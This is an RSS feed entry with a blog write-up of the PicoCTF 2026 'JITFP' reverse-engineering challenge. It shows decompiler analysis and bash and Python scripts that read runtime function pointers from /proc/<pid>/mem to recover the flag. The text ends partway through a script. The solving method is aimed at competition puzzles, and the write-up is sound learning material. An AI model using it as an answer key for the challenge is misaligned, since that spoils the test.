<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Monish Kumar&#39;s Blog</title>
        <link>https://itsmonish.pages.dev/</link>
        <description>Recent content on Monish Kumar&#39;s Blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <lastBuildDate>Fri, 20 Mar 2026 10:41:25 +0530</lastBuildDate><atom:link href="https://itsmonish.pages.dev/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>JITFP - PicoCTF 2026 Challenge Writeup</title>
        <link>https://itsmonish.pages.dev/blog/jitfp-picoctf-2026/</link>
        <pubDate>Fri, 20 Mar 2026 10:41:25 +0530</pubDate>
        
        <guid>https://itsmonish.pages.dev/blog/jitfp-picoctf-2026/</guid>
        <description>&lt;p&gt;I took part in PicoCTF 2026, that happened between 9th March 2026 to 19th March 2026. I ranked at 570 globally and got a total score of 11,000 out of the maximum 14,500.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/1.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;picoctf2026-result&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t plan on writing writeups for this one. But there was one challenge that was so good, that I had to write about it.&lt;/p&gt;
&lt;h1 id=&#34;jitfp&#34;&gt;JITFP
&lt;/h1&gt;&lt;h2 id=&#34;challenge-description&#34;&gt;Challenge Description
&lt;/h2&gt;&lt;p&gt;If we can crack the password checker on this remote host, we will be able to infiltrate deeper into this criminal organization. The catch is it only functions properly on the host on which we found it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/2.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;challenge-description&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The challenge is now moved to picoCTF gym, you can access it &lt;a class=&#34;link&#34; href=&#34;https://play.picoctf.org/practice/challenge/737?category=3&amp;amp;page=1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;here&lt;/a&gt;. In the live CTF, this challenge was for 500 points, which was the highest among all the other challenges (except for other 500 point challenge, of course).&lt;/p&gt;
&lt;h2 id=&#34;solution&#34;&gt;Solution
&lt;/h2&gt;&lt;p&gt;The description doesn&amp;rsquo;t tell us much or doesn&amp;rsquo;t give us any files to actually reverse engineer binaries. However, there is an instance associated with the challenge. Launching it gives you credentials for a SSH login on a remote host.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/3.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;logging-in&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Logging in, we are greeted with, uh well, a message. And put in a directory with only one binary. Assuming this is the target binary, I started to poke it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/4.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;first-runs&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;The binary takes an arguement input and does something with it. There is a loading bar like output that takes some time to complete before printing the incorrect message. I wanted to time it, so I used &lt;code&gt;time&lt;/code&gt; utility. It takes around 33 seconds to run once. This brings a thought, is this a timing side channel attack scenario? Perhaps if I give a correct character at a position it would speed up or slow down? I tried it but it still ran the same 33 seconds.&lt;/p&gt;
&lt;p&gt;So to move further, we have to pop open and look under the hood. Since the binary was in a SSH instance, I used &lt;code&gt;scp&lt;/code&gt; to make a local copy and then used it to analyze it locally. I loaded it in Binary Ninja and the main function looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/5.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;binja-main&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We have a peculiar looking if statement, where if the condition is false, it calls another function, prints out &amp;ldquo;Incorrect&amp;rdquo; and then exits. The other flow is what we should be doing to get the correct message. We still need to know what the function &lt;code&gt;sub_401932&lt;/code&gt; does.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/6.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;sub-function&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So basically, it prints out asterisk, sleeps and prints a new line and exits. Not that interesting except this is where the sleep happens.&lt;/p&gt;
&lt;p&gt;Going back to the if condition, it didn&amp;rsquo;t make much sense to me, so I decided to get a second opinion from IDA (yes I have multiple decompilers, they are all awesome in their own way).&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/7.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;ida-main&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now that is better. So we have one memory array that index into another memory array which has function pointers because whatever is in there is used to call a function, so the most sensible conclusion is that they are function pointers. So let&amp;rsquo;s take a look at the memory arrays. At the first layer memory array, that index into the function pointer array we have:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/8.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;4020-array&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So we have a bunch of indices indeed. Looking at the second array, the one which should have function pointers, we have:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/9.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;4120-array-ida&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;That don&amp;rsquo;t look like much. So I took a look at the same address in Binary Ninja:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/10.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;4120-array-binja&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There is nothing here. So I started to look around for other things.&lt;/p&gt;
&lt;p&gt;Another important detail I found was that in the binary there are a lot of functions like these:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/11.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;check-funcs&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;There were functions like these for all the lowercase and uppercase alphabets, digits, underscore and curly braces. So these functions basically check if the given character is the one there are validating or not. So it is logical to assume that, these are the functions that would be present and called from the function pointer array.&lt;/p&gt;
&lt;p&gt;However that is empty. Or is it just uninitialized? Perhaps the function pointers are populated at runtime only? And then the title suddenly made sense, &amp;ldquo;Just In Time Function Pointers&amp;rdquo;, JITFP. So I just have to dump whatever that memory is in runtime and get the functions pointers. Easy, right?. Or that&amp;rsquo;s what I thought. But no, I can&amp;rsquo;t even run the thing in my local machine&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/12.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;failed-local-run&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now, this shouldn&amp;rsquo;t really come as a surprise, because the description of challenge literally tells that we can only run it on the remote machine. So I have to rely on any debugging tools on the remote machine.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/13.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;no-tools-on-remote&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;So, in terms of tools, there was none. Hence, the question became &amp;ldquo;how can I dump a memory of a live running process?&amp;rdquo;. Yes, the procfs at &lt;code&gt;/proc&lt;/code&gt;. Every process&amp;rsquo;s has it&amp;rsquo;s mapping of memory at &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; and actual memory contents at &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/mem&lt;/code&gt;. So I opened two SSH shells into the remote machine with tmux and saw if I could access the procfs.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/14.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;procfs-map&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;I could. Now we just have to dump the memory contents into a file and analyze it. Turns out the file system is read-only. Great. So I thought of redirecting the memory to &lt;code&gt;xxd&lt;/code&gt; utility, copying the hex dump and then analyzing it. But before I could go further I wanted to check what kind of protection this binary has. Thankfully, &lt;code&gt;checksec&lt;/code&gt; was installed.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/15.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;checksec-output&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;We got PIE, Position Independent Executable. But this shouldn&amp;rsquo;t really be a problem as PIE just randomizes the base address of the virtual memory. If we had ASLR, then it would have been hell, because the entire layout of the virtual memory would be randomized, but thankfully no.&lt;/p&gt;
&lt;p&gt;Now all I had to do was put together a bunch of commands that would take the &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; as input and dump the required memory. Since the memory we are interested is in &lt;code&gt;0x4120&lt;/code&gt;, the content would be present at base + &lt;code&gt;0x4120&lt;/code&gt;. We only need to read 264 bytes of information because that&amp;rsquo;s how long the function pointer array was. Put these together, I had this script to dump stuff:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./ad7e550b aaaa &amp;amp; pid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$!;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;base&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;cat /proc/$pid/maps | grep -m1 &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;r--p 00000000&amp;#34;&lt;/span&gt; | cut -d&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;-&amp;#39;&lt;/span&gt; -f1&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;target&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;printf &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;%d&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;$((&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16#&lt;/span&gt;$base &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x4120&lt;span style=&#34;color:#66d9ef&#34;&gt;)))&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dd &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/proc/$pid/mem iflag&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;skip_bytes,count_bytes skip&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$target count&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;264&lt;/span&gt; 2&amp;gt;/dev/null | xxd -p;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This gave an output like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/16.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;memory-dump&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;If I dumped the memory immediately, it is still uninititialized. So I had to add some sleep command to get some actual output. Right now it doesn&amp;rsquo;t look like much, but these do actually look like function pointers from a binary. I put together a small python script to parse this and print me the function offsets.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;dumped hex&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ptrs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(data[i : i &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, len(data), &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;base &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;offsets &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [p &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; base &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; p &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; ptrs]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i, o &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; enumerate(offsets):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    print(&lt;span style=&#34;color:#e6db74&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;idx &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;i&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: offset 0x&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;{&lt;/span&gt;o&lt;span style=&#34;color:#e6db74&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This prints out the offsets that are given by the addresses in the hexdump.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/17.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;function-offsets&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;And good enough, these offsets correspond to actual function offsets in the binary. So the only thing now to do is index this offsets using the first memory array and see in which order, which functions are being called. I extended the previous script a little to get that part done.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;lt;dumped hex&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;func_map &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;} &lt;span style=&#34;color:#75715e&#34;&gt;# A dictionary mapping which function offset correspond to which character&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dword_4020 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;# The indices from the first memory array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ptrs &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(data[i : i &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;little&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; range(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, len(data), &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;)]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;base &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;offsets &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [p &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; base &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; p &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; ptrs]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;flag &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; idx &lt;span style=&#34;color:#f92672&#34;&gt;in&lt;/span&gt; dword_4020:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    flag&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;append(func_map[offsets[idx]])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;join(flag))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Executing this gave:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/18.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;wrong-output-1&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;Now that does not look like a flag to me. I checked my scripts and other things, everything seemed to be right. So I decided to do the same process one more time. And it gave me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://itsmonish.pages.dev/images/jitfp/19.png&#34;
	
	
	
	loading=&#34;lazy&#34;
	
		alt=&#34;wrong-output-2&#34;
	
	
&gt;&lt;/p&gt;
&lt;p&gt;An entirely different output. But why? I did everything the same, except for one thing. I adjusted the sleep duration in bash from 5 to 2, thinking I need to read the memory early. At this point I had no idea what to do and I almost gave up. It wasn&amp;rsquo;t until later it struck me, &amp;ldquo;&lt;strong&gt;what if the entirety of the function pointer array changes every second?&lt;/strong&gt;&amp;rdquo;. That would mean that only one memory address at a point of time would be the right one, the rest are just fillers.&lt;/p&gt;
&lt;p&gt;I modified the bash script I used to extract the memory from &lt;code&gt;procfs&lt;/code&gt; as:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./ad7e550b aaaa &amp;amp; pid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$!; i&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;1; cat /proc/$pid/maps; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt; $i -lt &lt;span style=&#34;color:#ae81ff&#34;&gt;35&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  base&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;cat /proc/$pid/maps | grep -m1 &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;r--p 00000000&amp;#34;&lt;/span&gt; | cut -d&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;-&amp;#39;&lt;/span&gt; -f1&lt;span style=&#34;color:#66d9ef&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  target&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$(&lt;/span&gt;printf &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;%d&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;$((&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;16#&lt;/span&gt;$base &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;x4120&lt;span style=&#34;color:#66d9ef&#34;&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  dd &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/proc/$pid/mem iflag&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;skip_bytes,count_bytes skip&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$target count&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;264&lt;/span&gt; 2&amp;gt;/dev/null | xxd -p
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  i&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;$((&lt;/span&gt;$i&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This dumped the memory address 33 times. I put 35 just to be sure, in case. So I put all those hex dumps in a text file and modified my python script to:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;func_map &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;} &lt;span style=&#34;color:#75715e&#34;&gt;# A dictionary mapping which function offset correspond to which character&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dword_4020 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#f92672&#34;&gt;...&lt;/span&gt;] &lt;span style=&#34;color:#75715e&#34;&gt;# The indices from the first memory array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;parse_dump&lt;/span&gt;(line):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hex_str &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; line&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;strip()&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    data &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; bytes&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;fromhex(hex_str)
